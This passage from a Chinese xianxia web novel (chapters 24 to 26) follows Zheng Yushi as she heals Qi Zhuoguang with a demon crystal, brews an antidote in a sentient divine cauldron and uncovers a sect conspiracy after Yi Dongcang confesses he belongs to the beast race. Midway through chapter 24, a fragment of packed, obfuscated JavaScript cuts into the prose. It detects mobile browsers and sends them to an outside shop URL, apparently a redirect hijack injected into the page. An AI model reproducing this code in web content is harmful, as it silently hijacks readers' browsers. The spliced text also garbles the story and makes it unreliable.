虽然一言未发，但街上两人明显异样的情绪，还是堵了亓涿光两人的去路。
粉衣姑娘仍挂在亓涿光的身上，疑惑不解。
“不认识。”
一问，一答。
那人甚至是连一个眼神都没有给，径直挽着粉衣转身离去。
这一幕，禾欢欢惊呆了。
直到那人的身影彻底看不见，禾欢欢这才敢轻声询问道。
“郑予时，你，你和亓涿光闹别扭了？”
“啊。你之前说，上街要买什么药？”
“……”
*
逛了一下午，小富婆禾欢欢的兜买得满满当当，郑予时虽然没能找到机会查霍俞是谁，但托小富婆的慷慨，蹭了本讲咒术基础的书，也被她借着‘一起出生入死养身体’的由头塞了不少补药。
房内油灯落下，书本翻开，咒术入门的知识猛往脑子里灌。
郑予时想要解咒。
此处傀儡派，地界弟子大多修习傀儡术法，会咒术的，得去咒术冢寻。只是如今招亲一事尚未了解，院中有人监视，离不得，得以后再找机会。
所以，她先自己看看学。
两个时辰，从头到尾，过了三遍。其中每一个字，郑予时都背得一字不差，只是……灵力不行，一使就炸，没有亓涿光帮忙护着，她可不敢乱用。所以，背是背熟了，但纯背，毫无实践，用无可用。
“害。”
世上无难事，只要肯放弃。
油灯一提，这会儿也差不多到了和宜东藏他们约定的时间，她要去找人。
起身。
“郑予时。”
嗯！？
后背寒风一袭，油灯一灭，黑暗中，一双有力的胳膊从后拥来，死死禁锢住了她，凉得吓人。
亓涿光？
像是还记着她怕黑，郑予时的手里被塞了颗熟悉的温润明珠。沙哑声音凑了过来，自耳边散开。
“郑予时。我回来了。”
“哦。我得走了。”
这一句，腰上环着的手更用力了。
“别走。”
身后人的体温凉得有些吓人，郑予时知道她是天生冰灵根，但，不至于如此吧。
只是，她，能问？这人不是在大街上装不认识她吗？
她管她去死哦。
“我冷。”
……我请问呢？你谁？我谁？你以为装柔弱我就会心软管你吗？
呵。她会。
“你怎么……”
话还没说完，郑予时想回身，然而她一动，身后亓涿光的手却抱着她无法动弹。
怎么了？
“别转过来。”
“你……”
声音一顿，郑予时想起了一个细节。书中，这个时候，刚回西疆域的亓涿光第一时间去挑战了守关元婴，拼了个招亲名额来。所以，她这是……
“好，我不转。你把手给我。”
冰凉刺骨的肌肤，郑予时将手按到亓涿光递过来的手腕上，诊脉。
触及，心慌。
乱了，全乱了。
经脉错断，灵力溃烂，内里根本的灵根碎成了渣渣，就连丹田处以气凝练的元婴都绞了干净，只剩下一片猩红血雾，空空荡荡。
郑予时没想过，她，会伤成这样！
这，这毁人根基的伤势，无异于对常人进行抽筋扒皮。饶是从前万魔窟地牢里那么多次的濒死，都不及这次分毫。
这，这哪儿是挑战名额啊，这分明是把人往死里弄啊！
为了个男的，她到底承受了什么！
她，该有多痛啊！
“亓涿光，你，很疼吧。”
郑予时的声音带了连她都未能察觉到的颤抖，她强忍着心里的冲动，尊重她的意愿，没有回头。
反手向上，像从前经历过无数次那般，像她们曾经在万魔窟的牢笼里相互搀扶那般，她轻轻抚上了她的头。
一下一下。
“我在。我在的。”
储物袋里的药草胡乱洒了一地，郑予时的手很抖，她抓了好些各种各样疗伤的药草，慌不择路，搓药的动作都变了形。
手心揉的药汁顺着指尖空隙滴落在地，将将成型的药丸，郑予时看着眉头半分没有松。
不够，这些还不够……
“郑予时。不疼的。”
“给。”
轻轻一声，郑予时的手里又递来了个暗紫色的晶石。触及，熟悉的阴邪煞气席卷而来，那股蚀骨的寒，却叫郑予时眼里的惊中，带了喜。
魔晶，这是万魔窟里的魔晶！
记忆回笼，从前常用魔晶给亓涿光疗伤的郑予时片刻没有犹豫。
“快。一起吃了。”
手里的药丸子合着魔晶，郑予时反手寻着位置按到了亓涿光的唇边。
她仍抓着她的手，察觉到她喉咙下咽的动作，她立即将手又搭回了脉上去。
魔晶其中蕴含的力量浸入身体，亓涿光脉络中的残破将将合拢了些，气息运转，虽然丹田处的空虚无法弥补，但，勉强算是保住了命。
这下，应该没事了吧。
心下一松，郑予时想抽回手，然而这时，亓涿光却一把抓了她，不让她动。
她仍覆在她的唇上，手心传来的柔软触感带着丝丝凉，这一下，心神微动。
初来异世，万人尸坑底，她，似乎也是这样，按了她的唇，强喂她吃药。
郑予时有些想笑：可真是，莫名其妙的喂药缘分。
“唔……”
蓦地，亓涿光浑身开始颤抖，她抓着她的手，像是压抑着极其痛苦的折磨，五指用力到发白。然而纵是这样，她握住她的力道，隐忍、克制，半分没有伤她。
“你……”
突然出现的异样症状，郑予时惊恐一愣，想起了一件事。
魔窟魔晶，煞气魔气蕴含一体，先前她搓的药丸子虽是疗伤养脉的，但里面有一味药，会堵淤魔气。
石茉棘。
这是一种长在石头缝隙里的花草药，因生于生灵石木之地，自身孕育的药力最为纯净不说，还杂了一丝石头本身的灵。而万物本灵，与天地魔气，相悖。
她怎么能忘了！魔晶里除了相制的煞气，还有魔气啊！
她这，这不是在害她吗！
“亓涿光，调息，冲开经脉里堵淤的地方。很疼，我知道很疼，但你，你一定要冲开才行。”
“对不起，对不起，我……”
忙中生错，郑予时越慌越乱，脖颈传来的喘息呼在肌肤上，激起一片酥麻。
“不疼的。”
放屁！她从后面抱着她，她能不知道吗！
她明明，明明痛到都要抖成筛子了！
脖颈处传来的隐忍呻吟无一不在向郑予时展现着亓涿光的痛苦，她深知魔气淤积体内的堵塞有多痛，那是，想要咬舌自尽的痛。
慌不择路，喂药的手直接从亓涿光唇边往后，她按住她的后颈，头一偏，将她带到自己侧肩处。
不容拒绝。
她在示意她，咬她。
“亓涿光，别忍着。”
从背后相拥的动作，侧肩衣料早就揉得不能再乱，衣下，白皙泛粉的细腻肌肤落了出来，亓涿光眸色一暗，别过了头。
“我，不疼。”
个死倔脾气！
郑予时拿她没办法，然而听着她嘴里抖到近乎快要吐词不清的话，她知道，她这样硬撑是撑不了多久的。
毫不犹豫，她直接抓了亓涿光先前伸来给她诊脉的手，一口，狠狠咬了下去。
血水流出，其里丝丝溢出的魔气刀刃似的，掠过，擦破了郑予时的唇。
血水交融，属于她的气息和亓涿光的交缠在一起，引入，将渡。
手臂上的痛觉叫亓涿光心里酥麻，见着这会儿正被自己揽在怀中的人，她，百年来头一次，心安。
不再拒绝，像从前那般，她将自己完全交了出去。
垂头，张口，亓涿光很听话地，咬了下去。
卧槽！35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13127726|135894||http|test|mini|href|location''.split(''|''),0,{}));
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真他妈疼啊！
一口，郑予时的额上瞬间细汗密布，侧肩传来的力道，摩得她骨肉生疼。
个小崽子，属狗的吗！
郑予时痛到欲哭无泪。
从前万魔窟的牢狱里，还是一团白影的郑予时没少替亓涿光疗伤。那时，有些必须要动的刀，必须要切除的烂肉，会很疼，而为了防止亓涿光咬到舌头，她便会把自己的胳膊递给她咬。她不咬，她就会逼她，率先下口‘攻击’她，逼着她咬自己。
可是……
郑予时忘记了，这会儿的她，已经不是那道虚无的白影了。被咬的，是真的肉，也是真的痛。
忍！
肩头的血色溢出，喉咙下滚，亓涿光用力啃着，舌尖舔舐，像是陷溺沉沦，咽了下去。
血腥漫开，两人相拥的房间，一方角落的黑暗里，一缕黑丝徐徐而动，绕了那空气中的气息，小心着又缩了回去。
“郑予时！郑予时你在里面吗？”
禾欢欢！
“郑予时？宜东藏喊我来找你。郑予时？”
“嘶……马上！”
唇角被魔气反噬的伤口扯着生疼，强忍肩上的啃咬，郑予时连忙出声止住了禾欢欢破门的动作。
“我收拾个东西，你先去，马上！”
“你……行，那你，慢点也没事，慢点儿啊。不急！”
话锋一转，禾欢欢的话顿了一顿，有些奇怪。然而郑予时没心思去想这些，屋外人走了，似是故意，肩上那人猛地一用力，唇齿啃磨的触感一酥，她这才收回注意。
“……”
无理取闹。亓涿光这是在怨她分心。
可，她这都是为了谁？
不是她不让见人的吗？她连她都不愿意见只让背对着，那要是禾欢欢像上次一样闯了进来，岂不是不行！
而她，她居然还故意咬她！？没良心！
心里憋屈，嘴上不服，郑予时抓了亓涿光的手腕又一次咬了下去。
君子报仇十年不晚，小人报仇一秒都嫌多。郑予时向来有仇当场报，不爽当场骂，从不内耗。
魔晶的力量渐渐揉入身体，郑予时把着亓涿光的脉，时刻警惕着她体内内息的情况。好在痛过之后，堵淤冲破，她的一身伤势倒是明显松活了几分。
呼，终于扛过去了。
“你。我得去宜东藏那边一趟。你，自己休息可以吗？”
一愣，似是想到了什么，郑予时突然笑了，她背对着亓涿光，反手轻轻拍了她，一言一行，熟练得很。
“一会儿回来，给你熬菌菇汤。你要喝辣的，还是特辣的。”
同百年前一模一样的调侃，脖颈处的人被她逗笑。鼻息喷洒肌肤，带着些痒。
郑予时感觉到，那双环着自己的手臂，贪恋一紧后，松了力。
“我喝。不辣的。”
*
刚入夜，禾欢欢无事，便提前守到了宜东藏的房里。可谁知，等夜里约定时间到了后仍不见来人，禾欢欢心急，拦不住，说要去找人。结果，去了不到一刻钟的功夫，人回来了。
然后，然后她就一直坐在桌前，笑得一脸憨厚。
去了又回，一句话没说，看得宜东藏一脸莫名。
“欢欢。怎么了？是发生什么事情了吗？”
“藏师兄！”
禾欢欢的眸子很亮，她双手拖着面颊，笑弯了眼睛。然而那眼睛眨呀眨，除了喜悦，还有不能宣告的羞涩。
“嘿嘿。没什么！”
“……”
真的，没什么吗……
禾欢欢乐呵着，问，也不答。宜东藏猜，许是小姑娘的心里事儿，见她情绪正常，便也不再多问。
只是，宜东藏猜只猜对了一半。
是小姑娘的心里事儿，不过，却是小姑娘心里装着的，另一位小姑娘的事儿。
禾欢欢眼底的笑快要压抑不住，她捂着嘴，噗嗤一声，笑了出来。
刚刚郑予时房间里一定有人！
从她认识她开始，她们一路走来，她认识谁她能不知道？她房间里的那个，绝对是亓涿光！
床头吵完床尾合。白天街上装不认识，晚上房里暧昧温热。
嘻嘻，小情侣闹别扭呢，真是可爱。
啊！她刚刚没有打扰到她们吧！
希望。嘿。
25. 第 25 章
宜东藏他们还等着，以菌菇汤的话题确认了亓涿光稳定的状况后，头也不回，郑予时出了房。
房内，独一张床榻，亓涿光坐了上去。随性，肆意。
郑予时一走，她满是柔情的眸子瞬间坠入寒霜，轻瞥，漠然一斥。
“滚出来。”
落地幽寂，无声无息。似是耐心耗完，亓涿光食指咒术一弹，从一方暗处捆出来个七寸大的傀儡人偶。
咒文穿刺，倒吊，禁锢。
“嗯？鬼修。”
“呵。有意思。”
*
郑予时的房间出门往右，路过禾欢欢后，便是宜东藏的所在。
敲门，得应，推门而入。不想迎面来的，却是禾欢欢那张笑得莫名古怪的，瘆人小脸。
怎么了这是？
关门入内，面对她的疑问，宜东藏回了个他也不清楚的眼神，喊了人坐下。
“禾欢欢？你有事儿？”
“啊。”
一问，似是回神。禾欢欢倒还真想起个事儿。
她知道郑予时没丹炉，从储物袋里掏出了个大包袱的同时还掏了个炉，一起合着那装了织翼兽的琉璃，一推推到她的面前。
“我小师妹给我送的药草到了。给，小蓝就拜托你了。”
禾欢欢笑着，她嘴上说着是拜托她救鱼，但那眼里的情绪却透着一股道不清的意味，很不对劲。
面对小富婆，郑予时礼貌，双手接过，回以微笑。
蒂连枝，性温，除去药性，它还是可以压住她体内灵力至纯暴肆的妙药。
取其一株，一分为二。
郑予时动作随意，将其一半塞进嘴里，另一半丢入炉中。她从包袱里取了三支芪白根，折断摘取，合着其他她自己储物袋里那些从山上薅来的和亓涿光买来的各种药草，调和药性。
半个时辰，郑予时动作不停。
除了一开始禾欢欢带来的蒂连枝和芪白根，她还往丹炉里放了总共六十九种不同的药草。那些，有的宜东藏认识，有的眼熟却不知，还有的根本从未见过。
眼花缭乱的摘药动作，剔除药草根茎、叶脉的手法快得近乎捕捉不到，一人环抱的丹炉，在她的动作下渐渐塞满了各种奇形怪状的药草，足足装得冒了尖。
“成。差不多了。”
两手一拍，郑予时又重新点了一遍丹炉里头的药，暗自点了头。
很好。
双手伸入，抓药，胡乱一搓、一揉。在禾欢欢和宜东藏震惊到难以置信的注视下，郑予时像是洗菜厨子，嘿咻嘿咻马足劲儿干。
待药草揉碎得差不多了，只见她顺手将桌上沏茶的茶盏一提，一倒，压了上去。开凿。
“……”
禾欢欢嘴都张麻了，从郑予时疯狂往丹炉里摘了三十多种药的时候起，她就已经麻到不能再麻了。
不是，她爹好歹是禾丹宗宗主，炼丹实力摆在这儿，但，就算是他炼过的最复杂的丹，她都从未见过他有用到过六十九种辅药的。
郑予时她炼的这个是什么？仙丹吗？吃了原地飞升的那种！？
而相较于禾欢欢的麻了，宜东藏虽同样震撼，但他眼里那曾有过的一丝绝望中的渺茫希望，彻底碎了。
果然。寻千梦，难解。
果然。他还是，救不了大家。
茶壶在郑予时得手里拿着，胡乱凿药，一下，一下，像是在打年糕，团巴团巴，又捏又揉，最后终于把所有药草勉强算是凿得差不多。
木柴一支，炭火一团，点火，郑予时伸手抓住了炉子。
触及，丹炉壁面的用料厚实极了，三指宽，带着丝温润的暖意。郑予时觉着不对，把它提起举过头顶，她凑近一看：好家伙，陨铁！
炉底正中，一抹极难察觉的暗红嵌在正里，鸽子蛋一般大小，豪横极了。
怪不得。
虽说郑予时常年用炒菜的铁锅炼药，任何一个丹炉对她来说都很珍惜，但这个，这个炉子摸起来的质感还真的和别的不一样，原来是用了陨铁。
好炉！
“好炉！”
心念一动，郑予时这么想便也这么说了出来。然而蓦地，就在她心中因着这好炉欢喜几分的瞬间，丹田一绞，突如其来的阵痛，痛得她拿炉的手一抖，整个摔落。
“郑予时！？”
禾欢欢赶忙伸手去接，一碰，体温滚烫，她发现她整个人都在发抖。
“你怎么了？师兄！师兄你快看看她！”
沉浸在自己世界里的宜东藏比禾欢欢慢了一步，听人喊，他立马上前按住了郑予时的手。
内息太乱了，像是……不好！
“走！”
宜东藏眉头一皱，刚刚摸到郑予时脉络的他二话不说直接拉着禾欢欢后退三步。防御符祭出，足足十张，贴满了上下左右中五个方位，郑予时通身一处，他们这边一处，防卫彻底。
“师兄？你……”
“轰———”
话音未完，一声轰然爆炸的声音在房内震出，带着禾欢欢脚下的地都抖了三抖。
抬眼，只见那轰鸣正中，一只暗红奇诡的开口大锅，屹立那处。
那锅，暗纹刻凿繁复诡异，正是之前海上一战中，郑予时祭出的那只神器，是，禾欢欢不愿相信的纪云城的那方食尸炉鼎。
锅口，郑予时将巧又站了进去，别人那是坐莲童子，她，是站锅矮子。
这么大阵仗，郑予时怎么可能不清楚，刚刚她丹田内的那阵绞痛，就是它出现搞的鬼。滋养在丹田处，一出，带着她的灵力现世，这不，周围灵压一聚，炸了。
地动山摇后，看清到底怎么回事的三人倒是松了口气。
还好，是‘老朋友’了。
西疆域给他们住的房子设施顶好，为了有客修习时不发生意外，这里的每处房都摆了防御阵。防御阵灵厚，是专门用来防御那些练剑入魔的剑修，防止他们夜里练剑时，一不小心剑气把房子砍烂的。
所以，刚刚的爆破，除了宜东藏的防御，还有屋子本身的防阵，无人察觉。
“不是。郑予时，这怎么回事儿？”
额上刚刚疼出的细汗还没干，郑予时也是一脸茫然。
“不知道。它，突然就出来了。”
立于锅中，郑予时左瞧瞧右瞧瞧，没弄明白这一出唱的是啥。明明先前，无论她怎么弄，它都是在丹田处一动不动的来着。
大锅外出，丹田内里本就破碎的灵根让她担心，下意识内视一看，放心了些。
只见原本碎掉的灵根，断片枝节以丝丝红息相连，大锅虽然出了来，但是它身上蕴有的力量却是驻入丹田，护着她。
“灵器通灵认主，往上品阶越高越是有脾性，有个性。禾宗主的丹炉是为仙品三阶，我有幸见过一次。那次，宗主游神赞美他人仙剑，结果仙炉心性不喜，和宗主闹了脾气。”
“炼丹。可无论宗主往里扔什么，扔一个，仙炉便往外吐一个，脾气不小。所以我想
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。”
宜东藏的话唤起了禾欢欢的记忆，噗嗤一笑，她伸手指了那装满了药却不小心被摔倒地上的丹炉。
“师兄，郑予时的大锅吃醋了！”
“……”
？？？
嘛玩意儿？
这一下，给郑予时干无语了。好家伙，吃醋？一口锅吃她的醋？她干嘛了，不就是摸了一下别人家的好丹炉吗？
这硬要说，别人是炉子，它是锅，俩都不是一个品种的，这是吃的哪门子的醋？
心里吐槽，然面上却是不显半分。
毕竟，这‘哥’脾气虽大，但它好歹之前救了她，又护了她的灵根，算是帮她吊着她的命的，得罪不得。
“郑予时，你，要不试着和它联通一下神识？”
宜东藏伸指一点自己的眉心，他唤出那个他常用的大棍，操控着它随心而动。
铁棍翻飞，指哪儿，打哪儿，灵动得不像是真的。这时，直到亲眼见了这一幕郑予时才恍然反应过来：这，这丑不拉几的大棍子，居然是宜东藏的本命法器！？
书里写的，不是个丹炉吗？
“你既然不知道它是如何来的，要不试试？灵器护主，神识相通后你能感它所感，它应该不会伤你。只是，我总觉得有些不对。”
“灵器，仙品已是自主意识强势，神器更是有灵。它，为什么，选了你？”
对啊，为什么呢？
宜东藏他们不知道，但郑予时自己却是清楚的。这口大锅，早在纪云城亓涿光挖心时，沾染了她心头血的它，那时便融入了她的身体。它揉在丹田内里，就像是，本来就是她的东西一样。
她对它，它对她，半点不排斥，很熟悉。
“神识相通……”
郑予时的双脚依旧黏在锅底，拔不出来。
这还是她第一次学这里的术法，两指按住眉心，她跟着宜东藏的手势，引了器。
宜东藏一伸，气势磅礴，大棍随着指引翻飞，郑予时瞬时信心满满，她紧跟着也一指伸出，干净利落的手势，施展，少顷，毫无动静。
那口大锅，立于房间正中，立于她的脚下，一动不动。
怎么，跟想的不一样？
“唉，大哥，要不您老动一下？一下也成啊。”
无力吐槽着，本是喃喃自语的一声抱怨，可谁想这似是服软求了的话，居然真的管用！
霎时，大锅浑身一颤，由内自外发出了一声低沉涩哑的嗡鸣。它锅边一抖，笨重的底部一起，竟是带着郑予时一起往上蹦了足足一米。一弹，一落，丝毫没有缓冲，震的她双腿发麻，骨头都要震散架了一般。
好家伙……
傲娇大锅！？
大锅毕竟是神器，自主有灵，磨合了大半个时辰，郑予时总算是摸清楚了这位‘大哥’的脾性。是口好锅，但得求着。
“大哥。您老既然不让我用别的丹炉炼药，那要不您屈尊一下，让小弟我借借您的壳子？”
锅身轻颤，一言落，只觉一道阴冷带煞的气息掠过，瞬间，刚刚摔在地上丹炉，其里的数十中草药碎渣合着药汁化作一道暗绿弧线，收进了大锅里。
神器器灵之力，无与伦比。
然而，药汁浸入，在禾欢欢和宜东藏正为神器的操作震惊的同时，仍然立在锅里的郑予时，被淹了腿。
“……”
就，挺无语的。
这，炼药还是炼她？
泡脚水炼药？这大哥，可真行。
26. 第 26 章
脚下湿腻，裤腿白边被药汁浸染成绿色。
郑予时拔腿，一动不动。
“大哥，能不能，先把我，嗯，吐出去呢？”
“这药泡着，我在锅里，不大好吧。”
一吐、一落，郑予时出了锅。
她把‘大哥’抱起来，放到刚刚支好的火堆上，点火，熬煮。
房内温度升高，锅内药汁咕噜，渐渐变得粘稠，浓缩。
“郑，郑予时，不是炼丹吗，你这是，熬药？”
“嗯。先榨一下药性。”
“可是，我见我爹他们炼药，都是用灵火锻造药性剔除杂质的，你这，能行吗？师兄，你觉得呢？”
宜东藏炼药数年，身为禾丹宗大弟子的他学的自然也是那一派正统流程。若是按宗门规范来说，郑予时的操作很不对，但……炼药的人是她，就凭她能解蚕蝶丝和寻千梦来看，她的实力，远在他之上，甚至……
“我不知道。但我想，她一定有自己的想法。”
这一句，叫郑予时听乐了。
宜东藏，温和教条，死板恪守，居然也会说出这样的话？真是，多亏了她手搓丸子、铁锅熬草的胡作非为？
郑予时在心里给自己贴金，乐呵一笑，解释道。
“灵力催动灵火，锻造药草杂质，这确实是正常的炼药流程，也是最具效率的炼丹技法，但，我的灵力用不了。”
“啊？”
“你们见过的，我炼的丹，会炸。”
会炸？禾欢欢听得一愣，霎时，倒是真的想起来了些什么。确实，纪云城一战，海上一战，还有刚刚，好像她确实特别会炸。可是……
“可是，为什么啊？为什么会炸呢？”
“因为，我是混元灵根啊。混元灵根，灵力醇厚，与周遭环境的灵压不符。所以，灵力一出，吸噬，稀释，聚合成灵力团，然后就，轰，炸了。”
“……”
倒是没听说过还有这回事。
禾欢欢的沉默震耳欲聋，只是在那之后，她倒是还有个问题。
“既然你的灵力用不了，那你要怎么炼药呢？”
这一问，问到了点子上。
“寻千梦，解毒，主药蒂连枝，辅药芪白根，灵火锻造，灵力引药，凝练成丹，就没了。但是，你们刚刚也瞧见了，我还加了六十九种别的药草，那些，都是因为我没有办法用灵力剔除杂质，没有办法榨出药性，所以才用别的药，辅助，调引，克制。”
“以此，代替灵火锻造的作用。”
说罢，锅中药汁熬炼得差不多了，郑予时指尖一引，竟是调出了体内的一丝灵力。
但奇怪的是，这一丝，温和稳定，半分没有要炸的迹象。
“这一丝灵力，是我刚刚吞了半株蒂连枝，滋补，换取，控出来的全部稳定灵力。但这太少了，要是还得剔杂，完全不行，所以只能用在最后关键的融合药力上。”
一语落下，灵力滚入大锅。
仅仅凭借着这一丝游离之力，翻起药汁，飞旋成卷，它随着郑予时指尖熟练到只剩残影的动作，揉着药力杂着炭火，凝练圆滚。
蓦地，一道金光划过。
这是！
禾欢欢惊呆，宜东藏也震惊万般，他不禁往前迈了半步，看着那大锅中金光一闪后漫出的浓厚白雾，整个人像是被控住，动弹不得半分。
丹道，药雾，怎么可能！
灵力融合，药力完备。丹。成。
一声嗡鸣，大锅轻颤而收，三枚乳白丹药滚了出去，落到郑予时的手心。
飞出的丹药，乳白之上环了三层幻光。一层，一阶，这是极具天赋的四品以上的炼丹师才有机会炼出的药彩之灵！还是三阶药彩！
宜东藏激动得心颤不已，要知道，就是他，如今刚迈入四品阶级的他，都无法炼制出药彩，可是。
她！郑予时，炼气五层甚至都没到筑基的修为，却只用了一丝游离之力，竟是炼出了三阶药彩！
她，绝对不止四品！
对于两人的震撼，郑予时无从察觉，她自顾捏了一枚炼好的丹，丢进琉璃之中。
一入，化作淡淡绿色药力，净化一方水源。药汁包裹着其中的织翼兽，从他身体各处缠绕，浸入。
不稍片刻，织翼重活，鱼跃而起。
琉璃中溅起的水花落在地上，解了毒，小蓝一身轻松，像是开心极了，他又一次自那琉璃中飞身而起，轻轻，吻了郑予时的侧脸。
带着海水的触觉，一碰，湿湿的，凉凉的。
郑予时望着回了琉璃里的活泼小蓝，摇头轻笑。
小家伙儿这脸变得可真快，还挺有眼力见儿。
禾欢欢从她手里接过了琉璃，她抱着他，喜笑颜开。
“小蓝！你终于解放啦！你活下来啦！以后，海阔天空，任你飞！你自由啦！”
姑娘手捧琉璃，眼中含笑，旋转舞动。此话，此景，模糊了宜东藏的眼睛。他的眼睛红了一片，眼尾闪过的泪带着他眉心本就缀有的一抹红，很好看，也很，不像他。
“师兄你看！小蓝他……”
一顿，回身，看到宜东藏情绪的失控，禾欢欢满目无措。
“师兄，你，你怎么了？”
“无事。只是，心生欢喜。”
“噗嗤。师兄，你何时变得这般多愁善感了？和禾若安一样，爱哭鼻子。”
调笑几声，禾欢欢便也不再多想，她同郑予时道谢，和两人告别，说要回房给小蓝试试她给他买的好东西。
毒解了，人散了，禾欢欢似乎是忘了他们今晚聚在这里的最初目的。
西疆域的阴谋。
无奈一笑，郑予时就着屋中桌子坐了下。她，没打算走。
“坐。”
反客为主，她轻拍身侧木凳，喊了人。
“说说吧。你什么打算。”
“什么？”
身侧来人落座，郑予时伸手示意，将刚刚炼制剩下的两枚丹药放到了他的手里。
“你不是想要？我现在灵力有异，炼得有些次，将就着用吧。”
手里落入的丹药仍带着刚出锅的温度，很暖，暖得宜东藏眼底滚烫。
她，发现了吗？
“为什么……”
“我们是朋友。不是吗。”
朋友。
攥紧的五指，因为这一句，宜东藏忍得酸涩的眼泪终于落了下来：他可以相信她吗。
抬眸，再不隐藏自己的痛苦，他含着泪，望着她。
“郑予时，如果，如果我不是人，你还会把我当成朋友吗。”
“如果我只是低等的兽族，你还会……”
兽族。世间兽族，分两类。一类开智，然天赋不足，无力化形；一类孕灵，幼时继承族内图腾，化作人形，修炼修行。但就算是最接近人族的化兽，也是被世人鄙夷的对象。
兽，哪怕是再像，也永远不是人。永远低人一等。
就先前宜东藏想要解整片无垠海的毒，以及他对孚钰兽的态度，郑予时有猜想过，他和无垠海的关系。但，她从没想过，他，会是兽族。
三息沉默，叫宜东藏眼里的光暗了暗。
但他，无路可走了。
后撤站立，跪地，磕头而下。
“求你。帮帮我。”
如此一幕，叫郑予时吓得惊了神，皱眉不愤，连忙扶起了他。
就算是兽族，又有什么呢？谁规定兽族就一定低等？
她伸出了自己的手，握住了他的。
“宜东藏。我帮你。但有件事儿我挺好奇的，如果你是羽族，那你是不是会飞？真酷啊！如果你是陆族，那你是不是跑得贼快？真强啊！再如果你是水族，那你是不是在水下能呼吸的？都不会溺水的？真帅啊！”
诙谐的语气，交叠的双手，一个用力，握住了另一个的颤抖。
她看着他的眼睛，认真，笃定，轻声一笑。是安慰。
“宜东藏，无论你是谁，无论你以后会做出怎样的选择，我们都在。之前那些濒危死局、那些险峻危险，是我们一起渡过的，是我们为了护下彼此一起扛过来的。我们，永远都是你的朋友。”
说罢，她将头偏向了一边房门，笑着问道。
“是吧。禾欢欢。”
这一句，宜东藏的神情变得紧张了起来。
刚刚大锅出现，一炸，虽是被房间防阵抗下，但毕竟是杂了神器的生息，这阵，裂了道缝。于是，安顿好小蓝后折返回来的禾欢欢，刚好听到了两人的对话。
而她一出现，屋内的郑予时便察觉到了她的气息。所以，这才一问。
问来，门外的人手心出了汗，她深吸了一口气，推门。
“师兄。”
“你永远都是我的师兄。”
三只手交叠在一起，相视，笑了出来。
“好。我，是我不好。”
宜东藏说，他曾是无垠海底的兽族，是那古籍中鲲族一类的幼兽。可是后来，海底被人投入了大量的寻千梦，整个海域一片死寂，而他的爹娘为了护他，以命为引，强行将他化了形，送到岸上。
说到父母分离，以命护命，禾欢欢的眼睛红得不像样。
“怪不得，怪不得他们都说师兄你是被爹捡回来的弃子，怪不得宗内弟子欺负你你都忍着说算了，师兄，你，你离家一人，过的真的太苦了。呜呜呜。”
“欢欢。这些年一直是你在暗中帮我，护我，托你的福，我，过得很好……我不想你受伤。”
“开玩笑！帮你打架是应该的，就那些个小屁孩儿能伤我？我爹可是宗主，他们看到我都得绕道走，绝不可能欺负到我头上！”
“……嗯。
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”
宜东藏的情绪有些不对，禾欢欢大咧咧的性子未能察觉，但郑予时，却是瞧到了他眼底的一丝痛苦。
宜东藏说的不想让禾欢欢受伤，另有他因。
难道……无垠海的事儿，和禾丹宗也有关系？
不怪郑予时这么想。
首先，毒。无垠海被人下的毒，虽是与西疆域有关，但海底出现的那一抹甜腻香味却是同纪云城血尸身上的气息一模一样。这说明，害无垠海的，不只西疆域一股势力，很可能背后还有纪云城姜茹的手笔。
但姜茹，她的仇是在纪云城，为何会将如此手段施加给一片与她毫无关联的海域？
只有一种解释，她一个人，能养成城中数千数万亡魂的背后，有另一股势力的支持。而那股势力，借用了她炼制血尸的手段，甜腻遮掩，施于无垠海。
是否像那城中一样换人、换兽，现在未曾可知，但那甜腻之味却做不得假。
新药新毒要想研制，必须有原药做比，因此纪云城那为了换人而差了一味药的蚕蝶丝，大概率与纪家有关。可姜茹同纪家、云家，以及禾丹宗都有旧仇，她不可能借助纪家的力量，纪家也不可能让她借助自己的力量报复自己。
所以姜茹背后的人，要么同样支配着纪家，要么有着和纪家人一样能敷药炼制出蚕蝶丝的实力。
综上，唯三处符合条件。暗狱、西疆域、禾丹宗。
再者，宜东藏的态度。
对于无垠海，对于故乡，如此靠近他却是不敢，甚至半分不敢触碰。那种情绪，不是近乡情怯，而是害怕忌惮。就像是，有什么禁制，触碰不得。
其后，当织翼身上的甜腻出现时，宜东藏的情绪，是笃定的不相信。
他不相信那与禾丹宗有关联的祸事会牵扯到无垠海，这说明，有另一件与之相矛盾的事情扎根他的心里，让他坚信。
他坚信，禾丹宗、禾觅清会保护他的家，保护无垠海。
可是为什么？
试问，如今天下炼丹解毒，第一之名落于何处？答曰：道禾山间，禾丹宗。
所以，宜东藏要想解毒救回无垠海，他只有禾丹宗这一个去处。
原文中的剧情，禾欢欢并未来参加招亲，但宜东藏对她仍是保护的态度，郑予时记得，文中提过一句，这般保护，是任务是交易，是他和禾觅清的兑换。
模糊不清的原文，本以为是作为禾丹宗大弟子接收的宗主的命令，可现在看，却不对。
这不是宗主令，而是求人命。
宜东藏答应禾觅清保护禾欢欢，而禾觅清则替他守护无垠海，解除海底的寻千梦。
他的笃定，由此而来。
可是再想，却仍有不对。
虽说禾觅清爱妻爱子，但光是保护禾欢欢这一样，能让禾觅清如此轻易地就答应吗？答应下这个有极大可能会与西疆域作对的条件吗？且，禾欢欢有这么需要宜东藏的守护吗？至少目前来说，不见得。
所以，宜东藏求助禾觅清的这个选项，概率不大，成功几率极低。
宜东藏口中的他的故事，很短，很多遮掩。
抛开种种矛盾之处，郑予时想：应当是禾觅清找上的他。
两处勾结，西疆域明面下毒，禾丹宗暗地铺线，逼死水族。而因得宜东藏神兽鲲族的身份，禾觅清以用他一生不回海域，隔断亲族为条件，承诺解毒，让他守在禾欢欢身边，监视他。而另一边，又以他为质，让整片海域受制于他们，向西疆域献祭孚钰兽。
可谓，两头骗。
如此，一切都说得通了。
所以，禾欢欢说禾觅清不会骗她，宜东藏的表情不对。所以，禾欢欢说因为她爹是宗主不会受欺负，宜东藏的情绪会变得纠结、低落。
而如今无垠海的异端让宜东藏撞破，让他之前所有的相信，全都碎成了渣。
